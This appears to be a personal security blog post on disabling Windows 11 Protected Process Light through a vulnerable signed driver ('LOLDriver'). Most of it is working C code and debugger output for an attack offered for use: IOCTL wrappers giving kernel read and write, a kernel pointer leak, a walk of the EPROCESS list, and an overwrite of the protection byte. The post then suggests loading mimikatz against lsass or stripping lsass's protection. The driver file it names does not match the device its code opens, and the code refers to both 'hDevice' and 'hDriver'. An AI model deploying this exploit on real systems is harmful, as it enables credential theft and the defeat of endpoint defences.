#
Disabling PPL with a LOLDriver
#
Outline
As I keep looking into this windows 11 thing I wanted to have a go at disabling PPL by using a LOLDriver as that seems to be a thing APTs are doing. Also going to see if there are any difference to the general windows 10 kernel exploitation setup functions.
#
The issue
What is PPL and why is it annoying?
A while ago windows thought it would be a good idea to implement some form of access control around process handles and implemented Protected Process. With this came 3 Protection levels; Protected Process, Protected Process Light (PPL) and none. When a process requests a handle to a different process the kernel will check what level each process is and will only grant access if the process is of equal level or higher. So a PPL process can access a none
process and a PPL process but not a Protected Process.
So why not just create a process with the level Protected Process and call it a day? To do this the process has to be signed by Microsoft and pass a few other checks.
So instead of trying to target this from userland, why dont we look at it from the kernel. Enter LOLDrivers.
Living Of the Land Drivers (LOLDrivers) are (normally) thrid party drivers that contain a vulnerability or abusable feature allowing for kernel primitives, such as a read and/or write. These drivers are also signed allowing to load them with sc.exe.
There is a project which has a heap of them to use: https://www.loldrivers.io/ (most are blocked by default but maybe one or two are not :) )
Just like most things related to process the Protection level can be found within the EPROCESS
structure under _PS_PROTECTION
Looking at the structures in windbg we can verify this and get the offsets.
0: kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x1c8 ProcessLock : _EX_PUSH_LOCK
+0x1d0 UniqueProcessId : Ptr64 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY
... snip ...
+0x5fa Protection : _PS_PROTECTION
0: kd> dt nt!_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0, 3 Bits
+0x000 Audit : Pos 3, 1 Bit
+0x000 Signer : Pos 4, 4 Bits
Lets check the levels of 2 process, a random cmd.exe spawned by a non admin user and lsass.exe
0: kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS ffffbd0390690040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ae000 ObjectTable: ffff998c372d1e80 HandleCount: 3430.
Image: System
... snip ...
PROCESS ffffbd0393876080
SessionId: none Cid: 0330 Peb: c9756bd000 ParentCid: 0294
DirBase: 263526000 ObjectTable: ffff998c3763fc40 HandleCount: 1656.
Image: lsass.exe
... snip ...
PROCESS ffffbd0396fad080
SessionId: none Cid: 1d2c Peb: e8b9d89000 ParentCid: 1278
DirBase: 1c7b10000 ObjectTable: ffff998c40813480 HandleCount: 74.
Image: cmd.exe
# Check lsass:
0: kd> dt nt!_PS_PROTECTION ffffbd0393876080+5fa
+0x000 Level : 0x41 'A'
+0x000 Type : 0y001
+0x000 Audit : 0y0
+0x000 Signer : 0y0100
# Check cmd:
0: kd> dt nt!_PS_PROTECTION ffffbd0396fad080+5fa
+0x000 Level : 0 ''
+0x000 Type : 0y000
+0x000 Audit : 0y0
+0x000 Signer : 0y0000
Looking into the Type and Signer field for the structure gives us a bit more information:
0: kd> dt nt!_PS_PROTECTED_TYPE
PsProtectedTypeNone = 0n0
PsProtectedTypeProtectedLight = 0n1
PsProtectedTypeProtected = 0n2
PsProtectedTypeMax = 0n3
0: kd> dt nt!_PS_PROTECTED_SIGNER
PsProtectedSignerNone = 0n0
PsProtectedSignerAuthenticode = 0n1
PsProtectedSignerCodeGen = 0n2
PsProtectedSignerAntimalware = 0n3
PsProtectedSignerLsa = 0n4
PsProtectedSignerWindows = 0n5
PsProtectedSignerWinTcb = 0n6
PsProtectedSignerWinSystem = 0n7
PsProtectedSignerApp = 0n8
PsProtectedSignerMax = 0n9
So lsass would be a PPL process signed with lsa. With the above in mind if we are able to change the memory for cmd.exe to be the same as lsass we would be able to get access to the process.
#
How to weaponise a driver
For this we need to find an arbitrary write primitive in a driver with a valid signature that we can abuse. Picking a random driver from loldrivers (link) i picked wnbios.sys. It is being used in the RealBlindingEDR so we can use the same ioctl to get an arb read and write. (weaponising a driver is sorta just a side point right now.)
Super quick overview of how drivers work.
To talk to drivers you use IOCTLs which take input run a code path in the kernel and sometimes give output. If an IOCTL does not verify the data that is being passed into it you might be able to get powerful kernel primitives.
#
Weaponising the driver
Looking at the source code we can copy the read and write primitives (I'm to lazy to find and then burn a driver Nday for a blog :D ):
struct DellBuff {
ULONGLONG pad1 = 0x4141414141414141;
ULONGLONG Address = 0;
ULONGLONG three1 = 0x0000000000000000;
ULONGLONG value = 0x0000000000000000;
} DellBuff;
DWORD64 DellRead(VOID* Address) {
struct DellBuff ReadBuff = {};
ReadBuff.Address = (DWORD64)Address;
DWORD BytesRead = 0;
BOOL success = DeviceIoControl(hDevice, 0x9B0C1EC4, &ReadBuff, sizeof(ReadBuff), &ReadBuff, sizeof(ReadBuff), &BytesRead, NULL);
if (!success) {
printf("Memory read failed. 1\n");
CloseHandle(hDevice);
}
//printf("%d\n", BytesRead);
return ReadBuff.value;
}
VOID DellWrite(VOID* Address, LONGLONG value) {
struct DellBuff WriteBuff = {};
WriteBuff.Address = (DWORD64)Address;
WriteBuff.value = value;
DWORD BytesRead = 0;
BOOL success = DeviceIoControl(hDevice, 0x9B0C1EC8, &WriteBuff, sizeof(WriteBuff), &WriteBuff, sizeof(WriteBuff), &BytesRead, NULL);
if (!success) {
printf("Memory read failed. 2\n");
CloseHandle(hDevice);
}
//printf("%d\n", BytesRead);
}
Unlike windbg we are not able to find the eprocess of random processes instead we have to traverse them via the ActiveProcessLinks element of the EProcess structure. We can then check the PID to make sure it is the right process:
+0x1d0 UniqueProcessId : Ptr64 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY
We can use NtQuerySystemInformation to get the base of the eprocess structure for the kernel then iterate from there using the read primitive.
Before that, a quick note: Since windows 11 24H2 NtQuerySystemInformation will no longer return a kernel pointer unless the process is running with SeDebugPrivilege enabled. https://windows-internals.com/kaslr-leaks-restriction/
So let's also add that. (As this already assumes you are admin)
LSTATUS RequirePrivilege(LPCTSTR lpPrivilege) {
HANDLE hToken;
BOOL bErr = FALSE;
TOKEN_PRIVILEGES tp;
LUID luid;
bErr = LookupPrivilegeValue(NULL, lpPrivilege, &luid); // lookup LUID for privilege on local system
if (bErr != TRUE) {
return -1;
}
bErr = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
if (bErr != TRUE) {
return -2;
}
if (ANYSIZE_ARRAY != 1) {
return -3;
}
tp.PrivilegeCount = 1; // only adjust one privilege
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bErr = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
// check GetLastError() to check if privilege has been changed
if (bErr != TRUE || GetLastError() != ERROR_SUCCESS) {
printf("AdjustTokenPriv failed with error: %d\n", GetLastError());
return -4;
}
printf("[+] Added privilege\n");
CloseHandle(hToken);
return 0;
}
Kernel leak:
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2
typedef NTSTATUS(WINAPI* fnNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef ULONGLONG QWORD;
QWORD get_systemeproc() {
ULONG returnedlength = 0;
fnNtQuerySystemInformation NtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "NtQuerySystemInformation");
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnedlength);
SYSTEM_HANDLE_TABLE_ENTRY_INFO HandleInfo = handleTableInformation->Handles[0];
return (QWORD)HandleInfo.Object;
}
Then the loop to find the eprocess for our PID.
int main(int arc, char* argv[]) {
int result = RequirePrivilege(TEXT("SeDebugPrivilege"));
if (result != 0) {
printf("Priv failed with error %d\n", result);
return -1;
}
hDriver = CreateFileA("\\\\.\\DBUtil_2_3", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
QWORD system_eproc = get_systemeproc();
printf("[+] System eproc value: 0x%llx\n", system_eproc);
QWORD current_eproc = system_eproc;
DWORD program_pid = GetCurrentProcessId();
DWORD current_pid = 0;
while (TRUE) {
printf("[+] Reading value from: 0x%llX\n", current_eproc + (QWORD)ActiveProcessLinks_offset);
current_eproc = DellRead(current_eproc + (QWORD)ActiveProcessLinks_offset);
printf("[+] ForwardLinked value: 0x%llX\n", current_eproc);
current_eproc -= ActiveProcessLinks_offset;
printf("[+] New EProcess Value: 0x%llX\n", current_eproc);
current_pid = DellRead(current_eproc + UniqueProcessId_offset);
if (current_pid == program_pid) {
printf("[+] Found program pid\n");
break; // use the current_eproc value
}
}
printf("[+] EProcess Value for running process: 0x%llX\n", current_eproc);
getchar();
}
We can run this with a debugger hooked up to check if the read and offsets are correct.
.\loldriver_client.exe
[+] Added privilege
PID: 4
Pointer: ffff8b064c68c040
[+] System eproc value: 0xffff8b064c68c040
[+] Reading value from: 0xFFFF8B064C68C218
[+] ForwardLinked value: 0xFFFF8B064C7A9258
[+] New EProcess Value: 0xFFFF8B064C7A9080
... snip ...
[+] EProcess Value for running process: 0xFFFF8B0652D3C080
--- debuger ---
PROCESS ffff8b0652d3c080
SessionId: none Cid: 26d0 Peb: a488481000 ParentCid: 0550
DirBase: 1969b7000 ObjectTable: ffffe406a567a680 HandleCount: 67.
Image: loldriver_client.exe
Now we can read the 8 bytes which will include the protection level and update the process to be the same level as lsass.exe
+0x5fa Protection : _PS_PROTECTION
typedef union {
struct
{
char Protection;
uint8_t padding[7];
};
QWORD qword;
} ProtectionQword;
ProtectionQword protectionqword = { 0 };
protectionqword.qword = DellRead(current_eproc + (QWORD)Protection_offset);
printf("Proteciton qword: 0x%016llx\n", protectionqword.qword);
printf("Current protection level: 0x%X (%c)\n", protectionqword.Protection, protectionqword.Protection);
protectionqword.Protection = 'A';
DellWrite(current_eproc + (QWORD)Protection_offset, protectionqword.qword);
printf("Written data.\n");
getchar();
Output:
[+] EProcess Value for running process: 0xFFFF8B0652872080
Proteciton qword: 0x00000040c0000000
Current protection level: 0x0 ( )
Written data.
--- debugger ---
0: kd> dt nt!_PS_PROTECTION 0xFFFF8B0652872080+0x5fa
+0x000 Level : 0x41 'A'
+0x000 Type : 0y001
+0x000 Audit : 0y0
+0x000 Signer : 0y0100
TaDa! From here you can load mimikatz in the process or do do whatever you need to do. You could also just set Lsass.exe to have a protection level of 0.
Full code: https://github.com/ElJayRight/Driver_Exploits/tree/main/Disable_PPL
#
Closing Thoughts
As always this is just one way of modifying PPL. You could also target the Driver signing enforcement structure and null that out and load your own driver which disables PPL. Another idea would be to just copy the process token of lsass and spawn a mimikatz that way. The offset is _EPROCESS
is:
+0x248 Token : _EX_FAST_REF
#
Resources used while researching this stuff
- https://support.kaspersky.com/common/windows/13905#:~:text=Protected%20Process%20Light%20(PPL)%20technology%20is%20used%20for%20controlling%20and,Stream%20deployment
- https://www.crowdstrike.com/en-us/blog/evolution-protected-processes-part-1-pass-hash-mitigations-windows-81/
- https://web.archive.org/web/20200405151003/https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
- https://web.archive.org/web/20200326050008/http://deniable.org/windows/windows-callbacks
- https://windows-internals.com/kaslr-leaks-restriction/
- https://hackyboiz.github.io/2024/12/08/l0ch/bypassing-kernel-mitigation-part1/en/
- https://github.com/myzxcg/RealBlindingEDR/tree/main